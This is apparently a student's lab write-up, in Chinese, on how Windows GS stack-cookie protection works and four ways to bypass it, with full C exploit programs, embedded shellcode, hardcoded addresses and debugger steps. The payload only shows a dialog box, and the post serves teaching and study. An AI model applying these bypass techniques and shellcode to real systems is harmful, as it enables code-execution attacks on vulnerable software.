1. 程式人生 > >20155306 白皎 0day漏洞——漏洞利用原理之GS

20155306 白皎 0day漏洞——漏洞利用原理之GS

處的 工作原理 保護 arr ddr 中比 int strcpy 統一

20155306 白皎 0day漏洞——漏洞利用原理之GS

一、GS安全編譯選項的保護原理

1.1 GS的提出

在第二篇博客(棧溢出利用)中,我們可以通過覆蓋函數的返回地址來進行攻擊,面對這個重災區,Windows在VS 7.0(Visual Studio 2003)及以後版本的Visual Studio中默認啟動了一個安全編譯選項——GS(針對緩沖區溢出時覆蓋函數返回地址這一特征),來增加棧溢出的難度。

1.2 GS的工作原理

GS編譯選項為每個函數調用增加了一些額外的數據和操作,用以檢測棧中的溢出。

  • 在所有函數調用發生時,向棧幀內壓入一個額外的隨機DWORD,隨機數被稱為Security Cookie
  • Security Cookie位於EBP之前,系統將在.data的內存區域中存放一個Security Cookie的副本,如下圖所示:

技術分享圖片

  • 當棧中發生溢出時,Security Cookie會首先被淹沒,之後才是EBP和返回地址。
  • 在函數返回之前,系統將執行一個額外的安全驗證操作,被稱作Security check
  • 在Security check過程中,系統將比較棧幀中原先存放的SC和存放在.data之中的SC值進行比較,如果兩者不吻合說明棧幀中的SC已經被破壞,即棧中發生溢出。

  • 當檢測到棧中發生溢出時,系統將進入異常處理流程,函數不會被正常返回,ret指令也不會被執行。如圖:

技術分享圖片

但是,GS保護機制的使用帶來的後果就是系統性能的下降,所以編譯器並不是對所有的函數都應用GS,以下情況不會應用GS:

1. 函數不包含緩沖區
2. 函數被定義為具有變量參數列表
3. 函數使用無保護的關鍵字標記
4. 函數在第一個語句中包含內嵌匯編代碼
5. 緩沖區不是8字節類型且大小不大於4字節

1.3 Security Cookie的生成

  • 系統以.data節第一個雙字作為Cookie的種子,或者原始Cookie(所欲函數的Cookie都用這個DWORD生成)

  • 在程序每次運行時Cookie的種子都不用,因此種子具有很強的隨機性;

  • 在棧幀初始化以後系統用EBP異或種子,作為當前函數的Cookie,以此作為不同函數之間的區別,並增加Cookie的隨機性;

  • 在函數返回時前,用EBP還原出(異或)Cookie的種子。

當然,GS編譯選項不可能一勞永逸徹底遏制所有類型的緩沖區溢出攻擊,本節我們學習四種突破方法

1.利用未被保護的內存突破GS 
2. 覆蓋虛函數突破GS 
3.攻擊異常處理突破GS 
4.同時替換棧中和.data中的Cookie突破GS 

二、利用未被保護的內存突破GS

原理:在前面我們我們介紹GS原理時提到,為了將GS對性能的影響降到最低,並不是所有函數都會被保護,所以我們可以利用一些未被保護的函數繞過GS的保護。
實驗代碼如下:

// gs1.cpp : 定義控制臺應用程序的入口點。
//

#include"stdafx.h"
#include"string.h"
int vulfuction(char * str)
{
    char arry[4];
    strcpy(arry,str);
    return 1;
}
int _tmain(int argc,_TCHAR* argv[])
{
    char* str="yeah,the fuction is without GS";
    vulfuction(str);
    return 0;
}

我們在vs2008下對其進行編譯後,用IDA對可執行程序反匯編時,可以看到沒有任何Security Cookie的驗證操作。
技術分享圖片

直接運行程序,程序會彈出異常對話框,可以看到提示說明了進行strcpy時發生了溢出,是不安全的。

技術分享圖片

技術分享圖片

二、覆蓋虛函數突破CS

2.1 原理

GS機制中說明,程序只有在函數返回時,才會去檢查Security Cookie,而在這之前是沒有任何的檢查措施。換句話說,只要我們在檢查SC之前劫持程序流程,就可以實現對程序的溢出,而C++虛函數就可以起到這樣的功能。

2.2實驗思路及步驟

  • 實驗代碼如下:

    #include "stdafx.h"
    #include "string.h"
    class GSVirtual {
    public :
    void gsv(char * src)
    {
        char buf[200];
        printf("begin!");
        strcpy(buf, src);
        printf("done!");
        bar(); // virtual function call
    }
    virtual void  bar()
    {
    }
    };
    int main()
    {
    
    GSVirtual test;
    test.gsv(
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\0"
    );
    return 0;
    }
  • 實驗思路

  • gsv中存在著典型的緩沖區溢出的漏洞函數strcpy。
  • gsv中存在一個虛函數bar()。
  • 當gsv函數中的buf變量發生溢出的時候就可能覆蓋到虛表指針,倘若如果能夠控制虛表指針使其指向我們可以控制的內存空間,那麽就就可以運行緩沖區中相應的shellcode了。

  • 實驗步驟:

1.如代碼所示,在test.gsv傳入199個"\x90"+1個"\0",通過前面的分析,我們知道傳入參數的長度大於200時,變量buff就會溢出。
2.編譯生成exe文件,用ollydbg打開生成的文件,在strcpy函數處設置一個斷點。

技術分享圖片

3.按 調試——運行,運行到斷點處,可以明確得到buf區的起始地址:

技術分享圖片

同時觀察下圖所示的內存布局,我們可以看到變量200字節之後,依次是SC、EBP、返回地址、參數以及虛函數表地址各4字節,因此我們至少要增加20字節以上才可以覆蓋虛表地址。
技術分享圖片

4.繼續單步執行,到調用虛函數停止,即call dword ptr eax這句,發現虛表地址為0x004010C0如下圖:

技術分享圖片

5.由此我們可以知道,當strcpy函數執行完之後,就是運行虛函數。根據我們一開始的思路,我們需要做的是把虛表指針指向我們的shellcode來劫持進程,那麽程序就會執行我們預設的shellcode了。

  • 首先我們可以肯定的是我們沒有辦法使用最簡單的辦法jmp esp來直接跳轉到buf區的起始地址0x0012FEA8,因為在執行完strcpy函數後的棧並不包含該數值
  • 既然當時的棧之中沒有該數值,那麽我們就要找其它棧存放該地址。在右下角的表中,我們可以發現在0x0012FE9C處存放著0x0012FEA8,如下圖。那麽我們只需要將當前esp指針移至0x0012FE9C即可。

技術分享圖片

在寄存器狀態列表中獲取當前的esp的值,為0x0012FEA4。要令其移至0x0012FE9C,那麽就需要esp+8,所以只要在當前狀態下執行三次pop語句後,執行retn語句將程序強制返回棧頂(0x0012FE9C)所含值(0x0012FEA8)地址處,那麽接下來就可以執行預設的shellcode了。

通過查詢反匯編代碼,發現在內存地址為0x7C992B04處就有符合要求的語句,如下圖。

技術分享圖片

  • 接下裏只需要將該地址作為參數放在shellcode之前,加入到test.gsv參數中,令程序認為該地址為機器語言(相當於跳板的功能),執行三次pop和retn的命令,就能夠達到繞過GS保護機制,執行shellcode了,shellcode代碼如下:

                "\x66\x2b\x99\x7C"  
                "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
                "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
                "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
                "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
                "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
                "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
                "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
                "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
                "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
                "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
                "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90"

有三部分組成:跳板地址(pop+retn共4字節)+談對話框的機器碼(168字節)+0x90字節填充(49字節)=221字節,剛好超過之前分析出來的至少220字節。
替換shellcode,重新運行就可以啦!

三、攻擊異常處理突破GS

3.1實驗原理

因為GS機制沒有對S.E.H提供保護**,所以我們可以通過超長的字符串覆蓋掉異常處理函數指針,然後出觸發一個異常,程序就會轉入異常處理,由於異常處理函數指針已經被覆蓋,那麽我們就可以通過劫持S.E.H來控制程序的後續流程了。

3.2實驗思路及步驟

  • 實驗代碼如下:

    #include <stdafx.h>
    #include <string.h>
    char shellcode[]=
    "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
    "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
    "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
    "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
    "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
    "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
    "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
    "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
    "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
    "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
    "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90"
    "\xA0\xFE\x12\x00"//address of shellcode
    ;
    
    
    void test(char * input)
    {
    
        char buf[200];
        strcpy(buf,input);
        strcat(buf,input);
    }
    
    void main()
    {
        test(shellcode);    
    }
  • 實驗思路:

  • 函數test中存在典型的棧溢出漏洞
  • 在strcoy操作後變量buf會溢出,S.E.H異常處理句柄會被過長的字符串所覆蓋
  • 由於strcpy的溢出,覆蓋了input的地址,導致了strcat從一個非法地址讀取數據,這時就會觸發異常,程序進入異常處理,這樣就可以在程序檢查SC之前將程序流程劫持。

實驗環境為系統windows 2000,由於無法安裝增強工具以及軟件所以只說明原理。

四、同時替換棧中和.data中的Cookie突破GS

4.1實驗原理

根據GS保護機制的原理,最終在Security check過程中比對的是棧中Cookie值和.data中的Cookie值,那麽想要繞過Security check有兩種方法:

  • 猜測Cookie值。
  • 同時替換棧中和.data中的Cookie,保證溢出後的Cookie值的一致性。
  • 由於cookie的生成隨機性太高,可能性極低,因此我們選擇同時替換棧中和.data中的Cookie。

4.2實驗思路及步驟

  • 實驗代碼:

    #include <stdafx.h>
    #include <string.h>
    #include <stdlib.h>
    char shellcode[]=
    "\x90\x90\x90\x90"//new value of cookie in .data
    "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
    "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
    "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
    "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
    "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
    "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
    "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
    "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
    "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
    "\x53\x68\x35\x32\x31\x32\x68\x32\x30\x31\x33\x8B\xC4\x53\x50\x50"
    "\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\xF4\x6F\x82\x90"//result of \x90\x90\x90\x90 xor EBP
    "\x90\x90\x90\x90"
    "\x94\xFE\x12\x00"//address of shellcode
    ;
    void test(char * str, int i, char * src)
    {
        char dest[200];
        if(i<0x9995)
        {
            char * buf=str+i;
            *buf=*src;
            *(buf+1)=*(src+1);
            *(buf+2)=*(src+2);
            *(buf+3)=*(src+3);
            strcpy(dest,src);
        }
    }
    void main()
    {
        char * str=(char *)malloc(0x10000);
        test(str,0xFFFF2FB8,shellcode); 
    }
  • 實驗思路:

  • main函數中在堆中申請了0x1000個字節的空間,並通過test函數對其空間的內容進行操作。
  • test函數對s+i到s+i+3的內存進行賦值,雖然函數對i進行了上限判斷,但是沒有判斷i是否大於0,當i為負值時,s+i所指向的空間就會脫離main中申請的空間,進而有可能會指向.data區域,從而修改.data中的SC值。
  • test函數中的strcpy存在典型的溢出漏洞。

  • 實驗步驟:

1.將代碼中shellcode替換成8個/x90,避免出現緩沖區溢出,從而進行正常的SC檢查,生成可運行程序,並用Ollydbg打開。
2.在if語句處設置斷點,從而觀察SC生成流程,F9運行至斷點處,獲取sc和EBP的值。

補充:SC的檢驗流程

    a. 從EBP-4中提取SC

    b. 從.data區存放副本SC處提取副本SC
    
    c. 比較兩者,若一致則校驗通過,否則轉入校驗失敗的異常處理

3.明確malloc申請空間的起始地址,可以通過在malloc後設置斷點來查看。

4.由於test函數中存放一個參數i,讓這個參數傳遞一個負值來讓指針str向存放sc的方向移動,即指向起始地址的指針指向棧中存放SC的地址。

5.計算出上述兩地址間的偏移量,將其寫入test函數的i參數中。

6.之後運行test函數,shellcode的內容將覆蓋掉0x00403000處的內容,即達到修改棧中SC的目的。

7.通過編寫shellcode代碼修改棧中的SC

第一部分:在shellcode代碼前增加4個"\x90"來修改棧中的SC的值。
第二部分:shellcode代碼來彈出的對話框
第三部分:用"\x90"填充32個字節至SC所在位置
第四部分:用4個\x90和EBP異或結果覆蓋SC的值。

8.將布置好的shellcode代碼復制到程序裏,編譯運行即可出現對話框。

五、補充:關於虛函數的介紹

定義:C++類的成員函數在聲明時,若使用關鍵字virtual進行修飾,則被稱為虛函數.
一些要點

  • 一個類中可能有很多個虛函數。
  • 虛函數的入口地址被統一保存在虛表中。
  • 對象在使用虛函數時,先通過虛表指針找到虛表,然後從虛表中取出最終的函數入口地址進行調用。
  • 虛表指針保存在對象的內存空間中,緊接著虛表指針的是其他成員變量。
  • 虛函數只有通過對象指針的引用才能顯示出其動態調用的特性

  • 根據虛函數的特性,可以通過修改對象中的虛表指針,令其指向存放預設shellcode的地址,從而調用虛函數的時候執行shellcode,達到溢出攻擊的目的,如下圖所示:
    技術分享圖片

20155306 白皎 0day漏洞——漏洞利用原理之GS